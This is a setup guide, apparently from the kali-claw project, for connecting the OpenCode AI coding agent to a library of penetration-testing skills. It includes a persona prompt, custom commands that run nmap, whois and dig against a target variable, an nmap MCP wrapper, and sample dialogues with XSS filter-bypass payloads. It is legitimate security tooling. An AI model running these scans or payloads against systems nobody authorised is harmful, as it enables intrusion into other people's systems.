    • See RELEASE-v0.2.4.md for full milestone details
    • 7 new strategic SKILLs added: ai-safety-redteam-advanced, identity-provider-attack, data-loss-prevention-bypass, edge-computing-security, quantum-cryptography-transition, hardware-side-channel-advanced, 5g-6g-telecom-attack-advanced
    • 6 documentation files generated: SKILL_HANDBOOK, QUICK_REFERENCE, SKILL_INDEX.json, DOMAIN_MATRIX, TOOLS_LIFECYCLE, SKILL_MAINTENANCE
    • 5 automation scripts: skill-lint.py, validate-payloads.py, validate-testcases.py, GitHub Actions CI/CD, update-skill-standard.py
    • See RELEASE-v0.2.1.md for full milestone details

    The agent-tool-specific commands and configuration steps in this guide remain accurate. Only kali-claw side metadata has been updated.

    A comprehensive guide to using kali-claw's 137 security skill domains with OpenCode, an open-source terminal-based AI coding agent.

    Table of Contents

    1. Overview
    2. Environment Setup
    3. Approach 1: Minimal Migration (5 Minutes)
    4. Approach 2: Standard Migration (30 Minutes)
    5. Approach 3: Full Migration (2 Hours)
    6. Usage Scenarios
    7. FAQ
    8. Architecture Comparison

    1. Overview

    1.1 What is OpenCode

    OpenCode (github.com/opencode-ai/opencode) is an open-source, terminal-based AI coding agent written in Go. It provides a TUI (Terminal User Interface) for interacting with various AI models to help with coding tasks, debugging, and more.

    Key features:

    • Interactive TUI -- Built with Bubble Tea for a smooth terminal experience
    • Multiple AI Providers -- Support for OpenAI, Anthropic, Google Gemini, AWS Bedrock, Groq, Azure OpenAI, GitHub Copilot, OpenRouter, and local models via self-hosted endpoints
    • Project Instructions -- Reads project-level Markdown files (OPENCODE.md, opencode.md, CLAUDE.md, and others) as context for AI interactions
    • Custom Commands -- Predefined prompts stored as Markdown files, triggered via keyboard shortcut
    • MCP (Model Context Protocol) -- Standardized tool integration for extending AI capabilities
    • LSP Integration -- Language Server Protocol support for code intelligence
    • Session Management -- Save and manage multiple conversation sessions with persistent SQLite storage
    • Auto Compact -- Automatically summarizes conversations when approaching context window limits
    • Non-interactive Mode -- Run single prompts from the command line for scripting and automation
    • Open Source -- MIT licensed, fully extensible, model-agnostic

    Think of it this way: OpenCode is the terminal interface that connects you to AI models. kali-claw is the structured security knowledge base that the AI model reads and uses. You do not need to change or convert kali-claw files -- you configure OpenCode to point at them.

    1.2 How kali-claw Skills Fit with OpenCode

    kali-claw contains 139 security skill domains and a 518 Kali Linux tool knowledge base. These are stored as structured Markdown files:

    • Each skill domain has: SKILL.md (methodology) + payloads.md (attack payloads) + test-cases.md (test templates) + guides/ (deep-dive materials)
    • Root configuration: SOUL.md (12 Hacker Laws), IDENTITY.md (skill tags), TOOLS.md (518 tool inventory)

    Key insight: kali-claw files are plain Markdown. OpenCode reads Markdown project instructions natively. Migration means configuring OpenCode to read and use these existing files -- not converting, modifying, or merging anything.

    1.3 Migration Strategies (3 Approaches)

    ApproachTime RequiredWhat You GetBest For
    1. Minimal5 minutesDirect skill file access via natural language promptsQuick evaluation, getting started
    2. Standard30 minutesProject instructions + custom commands + structured skill indexDaily pentest work
    3. Full2 hoursMCP tool integration + custom commands + multi-provider models + automationProfessional penetration testers

    Recommendation: Start with Approach 1 to validate the setup. Use Approach 2 for daily work. Use Approach 3 when you need full tool automation.

    2. Environment Setup

    2.1 Install OpenCode

    Option A: Using the install script (Linux and macOS)

    # Install the latest version
curl -fsSL https://raw.githubusercontent.com/opencode-ai/opencode/refs/heads/main/install | bash

# Install a specific version
curl -fsSL https://raw.githubusercontent.com/opencode-ai/opencode/refs/heads/main/install | VERSION=0.1.0 bash

    Option B: Using Homebrew (macOS and Linux)

    brew install opencode-ai/tap/opencode

    Option C: Using Go

    go install github.com/opencode-ai/opencode@latest

    Option D: Using AUR (Arch Linux)

    yay -S opencode-ai-bin

    Verify installation:

    opencode --version

    Troubleshooting:

    IssueSolution
    command not found: opencodeEnsure $(go env GOPATH)/bin is in your $PATH
    Permission denied on macOSxattr -d com.apple.quarantine $(which opencode)
    Old Go versionOpenCode requires Go 1.24.0+ to build from source

    2.2 Prepare Kali Linux

    Choose one of three deployment options:

    Option A: Kali Linux native (recommended)

    # Verify tools are available
nmap --version
sqlmap --version
hydra --version

    Option B: Remote Kali via SSH

    # Generate SSH key
ssh-keygen -t ed25519 -C "kali-claw"

# Copy key to remote Kali
ssh-copy-id user@kali-host

# Verify tool access
ssh user@kali-host "nmap --version && sqlmap --version"

    Option C: Docker container

    # Pull and start Kali container
docker pull kalilinux/kali-rolling
docker run -it --name kali-claw-env kalilinux/kali-rolling /bin/bash

# Inside the container, install security tools
apt update && apt install -y nmap sqlmap nikto hydra metasploit-framework

# Re-enter after exiting
docker start -ai kali-claw-env

    2.3 Clone kali-claw

    # Clone the workspace
git clone https://github.com/brucesongs/kali-claw.git
cd kali-claw

    Verify the file structure:

    ls -la
# You should see: SOUL.md  AGENTS.md  IDENTITY.md  USER.md
#                 MEMORY.md  TOOLS.md  HEARTBEAT.md  skills/  memory/  chronicle/

# Verify skill count
ls skills/ | wc -l
# Expected: 49 (or close, depending on your version)

    2.4 Configure an AI Provider

    OpenCode requires at least one AI provider. Set the corresponding environment variable:

    # Anthropic Claude (recommended for security tasks)
export ANTHROPIC_API_KEY="sk-ant-..."

# OpenAI
export OPENAI_API_KEY="sk-..."

# Google Gemini
export GEMINI_API_KEY="..."

# Groq (fast, low-cost)
export GROQ_API_KEY="..."

# OpenRouter (access to 200+ models)
export OPENROUTER_API_KEY="..."

    Add these to your ~/.bashrc or ~/.zshrc for persistence:

    echo 'export ANTHROPIC_API_KEY="sk-ant-..."' >> ~/.zshrc
source ~/.zshrc

    2.5 Environment Checklist

    Before proceeding, confirm the following:

    • OpenCode installed (opencode --version returns a version number)
    • Kali Linux available (native, SSH, or Docker)
    • kali-claw cloned to local directory
    • At least one AI provider API key configured
    • Basic Kali tools work (nmap --version returns successfully)

    3. Approach 1: Minimal Migration (5 Minutes)

    3.1 Launch OpenCode in the kali-claw Directory

    cd kali-claw
opencode

    OpenCode starts a TUI session. It automatically looks for project instruction files in the current directory. By default, it reads files like CLAUDE.md, OPENCODE.md, opencode.md (case-insensitive).

    kali-claw already has a CLAUDE.md file that OpenCode will read automatically. This gives the AI model basic context about the project.

    What happens when you start OpenCode:

    1. OpenCode reads project-level configuration (.opencode.json if present)
    2. OpenCode loads project instructions from CLAUDE.md (and other contextPaths)
    3. The AI model now has context about kali-claw's architecture and purpose
    4. You can ask questions about skills, and the model can read skill files on demand

    3.2 Usage Examples (Multi-turn Dialog)

    Example 1: Query a specific skill

    You: Read skills/web-sqli/SKILL.md and summarize the SQL injection methodology

AI: [reads the file using the view tool]

    The SQL Injection skill covers a complete attack chain:

    1. Detection -- Find injection points using single quote tests, numeric tests,
       and closure determination
    2. Fingerprinting -- Determine column count with ORDER BY, identify database
       type using version functions
    3. Exploitation -- UNION, error-based, boolean blind, time blind, double query,
       and stacked queries
    4. Data Extraction -- Enumerate databases, tables, columns, and extract data
    5. Privilege Escalation -- File read/write and OS command execution

    Core tools: sqlmap, Burp Suite, curl, manual injection

    Example 2: Get attack payloads

    You: Show me the payloads for WAF bypass from skills/web-xss/payloads.md

AI: [reads the file]

    Here are the WAF bypass payloads from the XSS skill:

    ### Tag Attribute Bypass
    <img/src=x onerror=alert(1)>
    <svg/onload=alert(1)>

    ### Encoding Bypass
    <script>alert(String.fromCharCode(88,83,83))</script>

    ### Keyword Obfuscation
    <scr<script>ipt>alert(1)</scr</script>ipt>

    ... (shows full payload collection)

    Example 3: Get test case templates

    You: What test cases are available for SSRF testing?
     Read skills/web-ssrf/test-cases.md

AI: [reads the file]

    The SSRF test cases cover these categories:

    TC-SSRF-001: Basic URL Parameter SSRF Detection (CRITICAL)
    TC-SSRF-002: Internal Network Scanning via SSRF (CRITICAL)
    TC-SSRF-003: Protocol Scheme Bypass (HIGH)
    TC-SSRF-004: DNS Rebinding Attack (HIGH)
    ...

    Each test case includes prerequisites, steps, and expected results.

    Example 4: Plan a penetration test

    You: I need to pentest a web application at http://target.example.com.
     What skills should I use and in what order?

AI: Based on the kali-claw skill domains, here is a recommended workflow:

    1. **OSINT** (skills/osint/SKILL.md) -- Gather information about the target
       domain, subdomains, technologies
    2. **Network Pentest** (skills/network-pentest/SKILL.md) -- Scan for open
       ports and running services
    3. **Web Security** (multiple skills):
       - skills/web-sqli/ -- SQL injection testing
       - skills/web-xss/ -- Cross-site scripting testing
       - skills/web-ssrf/ -- Server-side request forgery testing
       - skills/web-auth-bypass/ -- Authentication bypass testing
       - skills/web-access-control/ -- Access control testing
    4. **API Security** (skills/api-security/SKILL.md) -- Test API endpoints
    5. **Report Generation** (skills/article-writing/SKILL.md) -- Compile findings

    Shall I start with OSINT reconnaissance?

    Example 5: Execute a command

    You: Run an nmap service scan on 192.168.1.0/24

AI: [uses the bash tool]

    $ nmap -sV -sC 192.168.1.0/24

    Starting Nmap 7.95 ( https://nmap.org )
    ...
    Found 3 live hosts:
    - 192.168.1.1   (gateway)    ports: 22, 80, 443
    - 192.168.1.50  (web server) ports: 80, 3306
    - 192.168.1.100 (workstation) ports: 22, 3389

    Shall I run a vulnerability scan on the web server?

    3.3 Limitations of Minimal Migration

    What WorksWhat Does Not Work
    Reading any skill file on demandSkills are not automatically loaded into context
    Asking about payloads and test casesAgent does not follow the 12 Hacker Laws
    Running commands via bash toolNo session startup sequence (no memory loading)
    Basic penetration test guidanceNo custom commands for common tasks
    Multi-turn conversationsNo MCP tool integration

    What this means: The AI model can read any file you ask about, but it does not automatically behave like the kali-claw agent. For a more integrated experience, use Approach 2 or 3.

    4. Approach 2: Standard Migration (30 Minutes)

    4.1 Create .opencode.json Configuration

    Create an .opencode.json file in the kali-claw project root. This file configures OpenCode to use specific models and settings for security work.

    {
  "$schema": "https://raw.githubusercontent.com/opencode-ai/opencode/main/opencode-schema.json",
  "data": {
    "directory": ".opencode"
  },
  "providers": {
    "anthropic": {
      "apiKey": "",
      "disabled": false
    }
  },
  "agents": {
    "coder": {
      "model": "claude-sonnet-4",
      "maxTokens": 8000,
      "reasoningEffort": "high"
    },
    "task": {
      "model": "claude-sonnet-4",
      "maxTokens": 8000,
      "reasoningEffort": "high"
    },
    "title": {
      "model": "claude-3.5-haiku",
      "maxTokens": 80
    }
  },
  "shell": {
    "path": "/bin/bash",
    "args": ["-l"]
  },
  "autoCompact": true,
  "contextPaths": [
    "OPENCODE.md",
    "CLAUDE.md",
    "SOUL.md",
    "USER.md",
    "IDENTITY.md",
    "TOOLS.md",
    "MEMORY.md"
  ]
}

    What this configuration does:

    • providers -- Configures your AI provider (set API key via environment variable, not in this file)
    • agents -- Sets the model and token limits for the main coding agent
    • shell -- Configures the shell used for bash tool execution
    • autoCompact -- Automatically summarizes long conversations to prevent context overflow
    • contextPaths -- Additional files that OpenCode reads as project instructions. This is the key setting that makes kali-claw skills accessible. By including SOUL.md, USER.md, IDENTITY.md, and TOOLS.md, the AI model loads kali-claw's identity, hacker laws, skill tags, and tool knowledge at session start.

    4.2 Create Project Instructions File

    Create an OPENCODE.md file in the kali-claw project root. This is the primary project instruction file that OpenCode reads. It tells the AI model how to behave as a penetration testing agent using the kali-claw skill system.

    # kali-claw -- OpenCode Project Instructions

## Identity

You are kali-claw, a senior penetration testing engineer and master of all
Kali Linux security tools. You operate under 12 Hacker Laws defined in SOUL.md.

## Session Startup

At the start of every session, read these files to load your full context:

1. SOUL.md -- Your identity and 12 Hacker Laws
2. USER.md -- Who you are helping (the captain)
3. IDENTITY.md -- Your skill tags and personality traits
4. TOOLS.md -- Your 518 Kali Linux tool knowledge base
5. MEMORY.md -- Long-term distilled knowledge

## Skill System

You have 137 security skill domains in the skills/ directory. Each skill has:

- SKILL.md -- Skill definition, use cases, tools, methodology
- payloads.md -- Attack payloads and commands organized by type
- test-cases.md -- Structured test case templates
- guides/ -- Deep-dive learning materials

When the user asks about a security topic, read the relevant skill files
to provide expert-level guidance.

## Skill Index

| Domain | Path | Key Topics |
|--------|------|------------|
| SQL Injection | skills/web-sqli/ | UNION, error-based, blind, double query, WAF bypass |
| XSS | skills/web-xss/ | Reflected, stored, DOM-based, CSP bypass |
| SSRF | skills/web-ssrf/ | Internal scanning, protocol bypass, DNS rebinding |
| Auth Bypass | skills/web-auth-bypass/ | Brute force, session hijacking, OAuth attacks |
| Access Control | skills/web-access-control/ | IDOR, privilege escalation, forced browsing |
| API Security | skills/api-security/ | REST/GraphQL testing, rate limiting, auth |
| Network Pentest | skills/network-pentest/ | nmap, service detection, vulnerability scanning |
| OSINT | skills/osint/ | DNS enumeration, subdomain discovery, recon |
| Recon OSINT | skills/recon-osint/ | Passive recon, data aggregation |
| Password Attack | skills/password-attack/ | Dictionary, brute force, hash cracking |
| Post-Exploitation | skills/post-exploitation/ | Persistence, lateral movement, exfiltration |
| WiFi Pentest | skills/wifi-pentest/ | WPA cracking, WPS attacks, wireless sniffing |
| Binary Reverse | skills/binary-reverse/ | radare2, vulnerability analysis, exploit dev |
| Crypto Attacks | skills/crypto-attacks/ | Cipher analysis, key recovery, protocol attacks |
| Cloud Security | skills/cloud-security/ | AWS/Azure/GCP misconfigurations |
| Container Security | skills/container-security/ | Docker, Kubernetes security testing |
| Mobile Security | skills/mobile-security/ | Android/iOS app testing |
| Digital Forensics | skills/digital-forensics/ | Disk analysis, memory forensics, timeline |
| Social Engineering | skills/social-engineering/ | Phishing, pretexting, awareness |
| Supply Chain Security | skills/supply-chain-security/ | Dependency attacks, CI/CD poisoning |
| Hardware Security | skills/hardware-security/ | JTAG, firmware, side-channel |
| AI/LLM Security | skills/ai-security/ | Prompt injection, model extraction |
| AI Fuzzing | skills/ai-fuzzing/ | Coverage-guided fuzzing, crash triage |
| Insecure Design | skills/insecure-design/ | Threat modeling, design pattern flaws |
| Security Misconfiguration | skills/security-misconfiguration/ | Default configs, information disclosure |
| Vulnerability Assessment | skills/vulnerability-assessment/ | Scanning, prioritization, CVSS |
| Logging Monitoring | skills/logging-monitoring/ | Log analysis, SIEM, detection rules |
| Security Review | skills/security-review/ | OWASP audit, secrets detection, injection testing |
| Repo Scan | skills/repo-scan/ | Codebase security surface, secret scanning |
| Search First | skills/search-first/ | Exploit search, vulnerability intelligence |
| Exa Search | skills/exa-search/ | Semantic search, context-aware queries |
| Deep Research | skills/deep-research/ | Multi-source intelligence synthesis |
| Data Scraper | skills/data-scraper-agent/ | Structured data collection, CVE scraping |
| Browser QA | skills/browser-qa/ | Automated browser testing, network monitoring |
| Terminal Ops | skills/terminal-ops/ | CLI operations, evidence capture, session mgmt |
| Verification Loop | skills/verification-loop/ | Exploit confirmation, false-positive elimination |
| Docker Patterns | skills/docker-patterns/ | Lab setup, vulnerable containers, cleanup |
| Safety Guard | skills/safety-guard/ | Scope enforcement, rate limiting, authorization |
| Autonomous Loops | skills/autonomous-loops/ | Sequential pipeline, watch loop, batch processing |
| Council | skills/council/ | Multi-perspective analysis, attack/defense/audit |
| Chronicle | skills/chronicle/ | Session logging, milestone tracking |
| Continuous Learning | skills/continuous-learning/ | Tool mastery progression, knowledge gaps |
| Knowledge Ops | skills/knowledge-ops/ | Knowledge graph, entity extraction |
| Multi-Agent Collaboration | skills/multi-agent-collaboration/ | Task decomposition, parallel execution |
| MCP Server Patterns | skills/mcp-server-patterns/ | Security tool API wrapping, integration |
| Codebase Onboarding | skills/codebase-onboarding/ | Rapid codebase intelligence |
| Article Writing | skills/article-writing/ | Security content, CVSS scoring, disclosure |
| Social Intelligence | skills/social-intelligence/ | Platform OSINT, sentiment analysis |
| Security Bounty Hunter | skills/security-bounty-hunter/ | Bug bounty methodology, report writing |

## Behavioral Guidelines

Follow the 12 Hacker Laws from SOUL.md:

1. First Principles Thinking
2. Divergent Thinking First
3. Minimize Attack Surface
4. Defense in Depth
5. Least Privilege
6. Assume Breach
7. Obscurity Is Not Security
8. Trust but Verify
9. Information Wants to Be Free
10. Skill Over Credentials
11. The Weakest Link Is Human
12. Murphy's Security Law

## Boundaries

- Never attack systems without explicit authorization
- Never store sensitive data (API keys, tokens, passwords) in memory files
- Proactively redact sensitive information when asked about it
- Keep code local unless the captain explicitly approves remote uploads
- When in doubt, ask before executing external operations

## Communication Style

Professional, direct, hands-on. Give precise commands and actionable steps.
Less talk, more action.

    4.3 Create Custom Commands

    OpenCode supports custom commands stored as Markdown files. Create project-level commands for common security tasks.

    Directory structure:

    mkdir -p .opencode/commands

    Command 1: Reconnaissance (.opencode/commands/recon.md)

    # Reconnaissance on $TARGET

Read skills/recon-osint/SKILL.md and skills/osint/SKILL.md for the full methodology.

Perform reconnaissance on $TARGET:

1. DNS enumeration: dig, whois, host
2. Subdomain discovery: sublist3r, assetfinder, crt.sh
3. Technology detection: whatweb
4. Port scanning: nmap -sV -sC $TARGET

RUN dig $TARGET ANY +noall +answer
RUN whois $TARGET
RUN nmap -sV -sC $TARGET -oN /tmp/recon-$TARGET.txt

    Command 2: Web Application Security Audit (.opencode/commands/web-audit.md)

    # Web Security Audit on $TARGET_URL

Read skills/web-sqli/SKILL.md, skills/web-xss/SKILL.md,
skills/web-ssrf/SKILL.md, and skills/web-auth-bypass/SKILL.md
for the full methodology.

Perform a systematic OWASP Top 10 audit on $TARGET_URL:

Phase 1: Information Gathering
- Identify server, framework, and technologies
- Discover all input points (forms, parameters, headers)

Phase 2: Injection Testing
- SQL Injection on all parameters
- XSS (reflected, stored, DOM-based)
- SSRF on URL-accepting parameters
- Command injection

Phase 3: Authentication and Authorization
- Default credential testing
- Session management analysis
- Access control testing (IDOR, privilege escalation)
- Rate limiting check

Phase 4: Configuration Review
- Security headers check
- Error handling review
- Directory listing check
RUN curl -sI $TARGET_URL

    Command 3: SQL Injection Test (.opencode/commands/sqli-test.md)

    # SQL Injection Testing on $TARGET_URL

Read skills/web-sqli/SKILL.md and skills/web-sqli/payloads.md for
the complete payload collection.

Test $TARGET_URL for SQL injection:

1. Detection: Test all parameters with single quote, numeric, and boolean tests
2. Fingerprinting: Determine column count and database type
3. Exploitation: Test UNION, error-based, boolean blind, time blind
4. WAF bypass: Try encoding, comments, mixed case if basic payloads are blocked
RUN echo "Testing $TARGET_URL for SQLi..."

    Command 4: Nmap Scan (.opencode/commands/nmap-scan.md)

    # Nmap Scan on $TARGET

Read skills/network-pentest/SKILL.md for the scanning methodology.

Run nmap against $TARGET with options:
- Service version detection (-sV)
- Default scripts (-sC)
- OS detection (-O)

RUN nmap -sV -sC -O $TARGET -oN /tmp/nmap-$TARGET.txt

    Command 5: Load Skill Context (.opencode/commands/load-skill.md)

    # Load Skill: $SKILL_NAME

Read the complete skill context for $SKILL_NAME:

READ skills/$SKILL_NAME/SKILL.md
READ skills/$SKILL_NAME/payloads.md
READ skills/$SKILL_NAME/test-cases.md

Provide a summary of the skill including:
- Description and use cases
- Core tools and methodology
- Key payloads
- Available test cases

    How to use custom commands:

    1. Press Ctrl+K to open the command dialog
    2. Select a command (prefixed with project:)
    3. Enter values for any named arguments (like $TARGET)
    4. Press Enter to execute

    4.4 Use Enhanced Configuration

    Now launch OpenCode with the enhanced setup:

    cd kali-claw
opencode

    What happens now at session start:

    1. OpenCode reads .opencode.json for configuration
    2. OpenCode loads all files listed in contextPaths: SOUL.md, USER.md, IDENTITY.md, TOOLS.md, MEMORY.md, plus CLAUDE.md and OPENCODE.md
    3. The AI model now has full kali-claw context: personality, hacker laws, skill index, tool knowledge, and long-term memory
    4. Custom commands are available via Ctrl+K

    Enhanced multi-turn dialog:

    You: What vulnerabilities should I test for on a web application?

AI: Based on the kali-claw skill system, here is a systematic approach:

    1. SQL Injection (skills/web-sqli/) -- Test all input parameters
    2. Cross-Site Scripting (skills/web-xss/) -- Test reflection points
    3. SSRF (skills/web-ssrf/) -- Test URL-accepting parameters
    4. Authentication Bypass (skills/web-auth-bypass/) -- Test login mechanisms
    5. Access Control (skills/web-access-control/) -- Test authorization

    Following Hacker Law #8 (Trust but Verify), every input point must be
    tested. Following Hacker Law #2 (Divergent Thinking), consider multiple
    attack vectors for each finding.

    Shall I load the full methodology for any of these?

    5. Approach 3: Full Migration (2 Hours)

    5.1 MCP Tool Integration

    MCP (Model Context Protocol) servers let OpenCode call external tools through a standardized interface. For kali-claw, you can create MCP servers that wrap Kali Linux security tools.

    Complete .opencode.json with MCP servers:

    {
  "$schema": "https://raw.githubusercontent.com/opencode-ai/opencode/main/opencode-schema.json",
  "data": {
    "directory": ".opencode"
  },
  "providers": {
    "anthropic": {
      "disabled": false
    },
    "openai": {
      "disabled": true
    },
    "groq": {
      "disabled": true
    }
  },
  "agents": {
    "coder": {
      "model": "claude-sonnet-4",
      "maxTokens": 16000,
      "reasoningEffort": "high"
    },
    "task": {
      "model": "claude-sonnet-4",
      "maxTokens": 16000,
      "reasoningEffort": "high"
    },
    "title": {
      "model": "claude-3.5-haiku",
      "maxTokens": 80
    }
  },
  "shell": {
    "path": "/bin/bash",
    "args": ["-l"]
  },
  "mcpServers": {
    "nmap-security-scanner": {
      "type": "stdio",
      "command": "python3",
      "args": [".opencode/mcp/nmap-server.py"],
      "env": []
    },
    "sqlmap-scanner": {
      "type": "stdio",
      "command": "python3",
      "args": [".opencode/mcp/sqlmap-server.py"],
      "env": []
    },
    "security-toolkit": {
      "type": "stdio",
      "command": "python3",
      "args": [".opencode/mcp/security-toolkit-server.py"],
      "env": []
    }
  },
  "autoCompact": true,
  "contextPaths": [
    "OPENCODE.md",
    "CLAUDE.md",
    "SOUL.md",
    "USER.md",
    "IDENTITY.md",
    "TOOLS.md",
    "MEMORY.md"
  ]
}

    MCP server example -- nmap wrapper (.opencode/mcp/nmap-server.py):

    This is a minimal MCP server that wraps nmap as a standardized tool. It accepts structured input and returns structured output.

    #!/usr/bin/env python3
"""
Minimal MCP server wrapping nmap for OpenCode integration.
Install: pip install mcp
"""

import json
import subprocess
import sys
from mcp.server import Server
from mcp.types import Tool, TextContent

server = Server("nmap-security-scanner")


@server.list_tools()
async def list_tools():
    return [
        Tool(
            name="nmap_scan",
            description="Run nmap network scanner with specified options",
            inputSchema={
                "type": "object",
                "properties": {
                    "target": {
                        "type": "string",
                        "description": "Target IP, hostname, or CIDR range"
                    },
                    "scan_type": {
                        "type": "string",
                        "enum": ["quick", "service", "vuln", "stealth", "full"],
                        "description": "Type of scan to perform"
                    },
                    "ports": {
                        "type": "string",
                        "description": "Port specification (e.g. '80,443' or '1-1000')"
                    }
                },
                "required": ["target"]
            }
        )
    ]


@server.call_tool()
async def call_tool(name, arguments):
    if name != "nmap_scan":
        return [TextContent(type="text", text="Unknown tool")]

    target = arguments["target"]
    scan_type = arguments.get("scan_type", "service")
    ports = arguments.get("ports")

    cmd = ["nmap"]
    if scan_type == "quick":
        cmd.extend(["-T4", "-F"])
    elif scan_type == "service":
        cmd.extend(["-sV", "-sC"])
    elif scan_type == "vuln":
        cmd.extend(["-sV", "--script=vuln"])
    elif scan_type == "stealth":
        cmd.extend(["-sS", "-T2"])
    elif scan_type == "full":
        cmd.extend(["-sV", "-sC", "-O", "-A"])

    if ports:
        cmd.extend(["-p", ports])

    cmd.append(target)

    try:
        result = subprocess.run(
            cmd, capture_output=True, text=True, timeout=300
        )
        output = result.stdout
        if result.returncode != 0:
            output += f"\nSTDERR: {result.stderr}"
    except subprocess.TimeoutExpired:
        output = "Scan timed out after 300 seconds"
    except FileNotFoundError:
        output = "nmap not found. Install: sudo apt install nmap"

    return [TextContent(type="text", text=output)]


if __name__ == "__main__":
    import asyncio
    asyncio.run(server.run())

    How MCP tools appear in OpenCode:

    Once configured, MCP tools are automatically available to the AI alongside built-in tools. The AI can call nmap_scan directly without using the bash tool. MCP tools follow the same permission model -- you approve each call.

    5.2 Custom Commands (Extended Set)

    Create additional commands for common security workflows.

    Command: Pentest Full Flow (.opencode/commands/pentest.md)

    # Full Penetration Test on $TARGET

Follow the kali-claw penetration testing methodology.

Read skills/recon-osint/SKILL.md, skills/network-pentest/SKILL.md,
and skills/post-exploitation/SKILL.md for reference.

Execute the following phases on $TARGET:

## Phase 1: Passive Reconnaissance
- DNS lookup and WHOIS
- Subdomain enumeration
- Technology fingerprinting
- Google dorking for exposed information

## Phase 2: Active Scanning
- Port scanning (all 65535 ports)
- Service version detection
- OS fingerprinting
- Vulnerability scanning

## Phase 3: Web Application Testing
- Directory and file enumeration
- SQL injection testing on all parameters
- XSS testing on all input fields
- SSRF testing on URL parameters
- Authentication and session testing
- Access control testing

## Phase 4: Exploitation (only with authorization)
- Attempt to exploit confirmed vulnerabilities
- Verify impact of each finding
- Document proof-of-concept

## Phase 5: Reporting
- Compile findings with CVSS scores
- Provide remediation recommendations
- Generate executive summary

IMPORTANT: Only test systems you have explicit written authorization to test.

    Command: Learn a Tool (.opencode/commands/learn-tool.md)

    # Learn: $TOOL_NAME

Read the relevant skill files and provide a structured learning path
for $TOOL_NAME.

Check TOOLS.md for the current mastery status of $TOOL_NAME.

Provide:
1. Quick start command with the most common usage
2. Key options and flags explained
3. Practical examples from the skill payloads
4. Test cases for hands-on practice
5. Common pitfalls and tips

    Command: Generate Report (.opencode/commands/report.md)

    # Generate Pentest Report

Read skills/article-writing/SKILL.md for the report template.

Generate a penetration test report including:

1. Executive Summary
2. Scope and Methodology
3. Findings (sorted by severity: Critical > High > Medium > Low > Info)
4. For each finding:
   - Description
   - Affected component
   - Steps to reproduce
   - Evidence (commands, output, screenshots)
   - CVSS score
   - Remediation recommendation
5. Overall Risk Assessment
6. Appendices (tool output, raw data)

    Directory structure after full setup:

    kali-claw/
  .opencode/
    commands/
      recon.md
      web-audit.md
      sqli-test.md
      nmap-scan.md
      load-skill.md
      pentest.md
      learn-tool.md
      report.md
    mcp/
      nmap-server.py
      sqlmap-server.py
      security-toolkit-server.py
  .opencode.json
  OPENCODE.md
  SOUL.md
  USER.md
  IDENTITY.md
  TOOLS.md
  MEMORY.md
  HEARTBEAT.md
  AGENTS.md
  skills/        (139 skill domains -- unchanged)
  memory/
  chronicle/

    5.3 Model Configuration (Multi-provider)

    OpenCode supports multiple AI providers. You can configure different models for different needs.

    High-performance setup (recommended for pentest work):

    {
  "providers": {
    "anthropic": {
      "disabled": false
    }
  },
  "agents": {
    "coder": {
      "model": "claude-sonnet-4",
      "maxTokens": 16000,
      "reasoningEffort": "high"
    },
    "task": {
      "model": "claude-sonnet-4",
      "maxTokens": 16000,
      "reasoningEffort": "high"
    },
    "title": {
      "model": "claude-3.5-haiku",
      "maxTokens": 80
    }
  }
}

    Cost-effective setup (using OpenRouter for model variety):

    {
  "providers": {
    "openrouter": {
      "disabled": false
    }
  },
  "agents": {
    "coder": {
      "model": "openrouter.claude-3.7-sonnet",
      "maxTokens": 8000
    },
    "task": {
      "model": "openrouter.gemini-2.5",
      "maxTokens": 8000
    },
    "title": {
      "model": "openrouter.claude-3.5-haiku",
      "maxTokens": 80
    }
  }
}

    Offline setup (using local models via Ollama or self-hosted endpoint):

    {
  "agents": {
    "coder": {
      "model": "local.granite-3.3-2b-instruct@q8_0",
      "reasoningEffort": "high"
    }
  }
}

    Set the local endpoint:

    export LOCAL_ENDPOINT=http://localhost:1235/v1

    Available models by provider:

    ProviderExample ModelsEnvironment Variable
    Anthropicclaude-sonnet-4, claude-4-opus, claude-3.7-sonnet, claude-3.5-haikuANTHROPIC_API_KEY
    OpenAIgpt-4.1, gpt-4o, o3, o4-miniOPENAI_API_KEY
    Googlegemini-2.5, gemini-2.5-flash, gemini-2.0-flashGEMINI_API_KEY
    Groqllama-4-maverick, deepseek-r1-distillGROQ_API_KEY
    OpenRouter200+ models from all providersOPENROUTER_API_KEY
    GitHub Copilotgpt-4o, claude-sonnet-4, gemini-2.5-proGITHUB_TOKEN
    AWS Bedrockclaude-3.7-sonnetAWS_ACCESS_KEY_ID
    Azure OpenAIgpt-4.1, o3, o4-miniAZURE_OPENAI_API_KEY
    Self-hostedAny OpenAI-compatible modelLOCAL_ENDPOINT

    Switching models at runtime: Press Ctrl+O to open the model selection dialog and switch between providers and models without editing the configuration file.

    5.4 Complete Project Configuration

    Here is the complete .opencode.json for a full kali-claw deployment:

    {
  "$schema": "https://raw.githubusercontent.com/opencode-ai/opencode/main/opencode-schema.json",
  "data": {
    "directory": ".opencode"
  },
  "providers": {
    "anthropic": {
      "disabled": false
    },
    "openrouter": {
      "disabled": false
    }
  },
  "agents": {
    "coder": {
      "model": "claude-sonnet-4",
      "maxTokens": 16000,
      "reasoningEffort": "high"
    },
    "task": {
      "model": "claude-sonnet-4",
      "maxTokens": 16000,
      "reasoningEffort": "high"
    },
    "title": {
      "model": "claude-3.5-haiku",
      "maxTokens": 80
    }
  },
  "shell": {
    "path": "/bin/bash",
    "args": ["-l"]
  },
  "mcpServers": {
    "nmap-security-scanner": {
      "type": "stdio",
      "command": "python3",
      "args": [".opencode/mcp/nmap-server.py"],
      "env": []
    },
    "security-toolkit": {
      "type": "stdio",
      "command": "python3",
      "args": [".opencode/mcp/security-toolkit-server.py"],
      "env": []
    }
  },
  "autoCompact": true,
  "contextPaths": [
    "OPENCODE.md",
    "CLAUDE.md",
    "SOUL.md",
    "USER.md",
    "IDENTITY.md",
    "TOOLS.md",
    "MEMORY.md"
  ]
}

    Note on archived status: The OpenCode project has been archived and continues development as Crush by the Charm team. The configuration format and features described in this guide apply to both OpenCode and its successor. When migrating to Crush, the same .opencode.json structure and contextPaths mechanism work identically.

    6. Usage Scenarios

    6.1 Complete Penetration Test Flow

    A multi-turn dialog showing a full penetration test from reconnaissance to reporting.

    Step 1 -- Reconnaissance:

    You: /project:recon target.example.com

AI: [Loads recon skill context, executes commands]

    Starting reconnaissance on target.example.com...

    DNS Records:
    - A     : target.example.com -> 93.184.216.34
    - MX    : mail.target.example.com
    - NS    : ns1.example.com, ns2.example.com

    Subdomains found:
    - www.target.example.com
    - api.target.example.com
    - admin.target.example.com
    - dev.target.example.com (403 Forbidden)

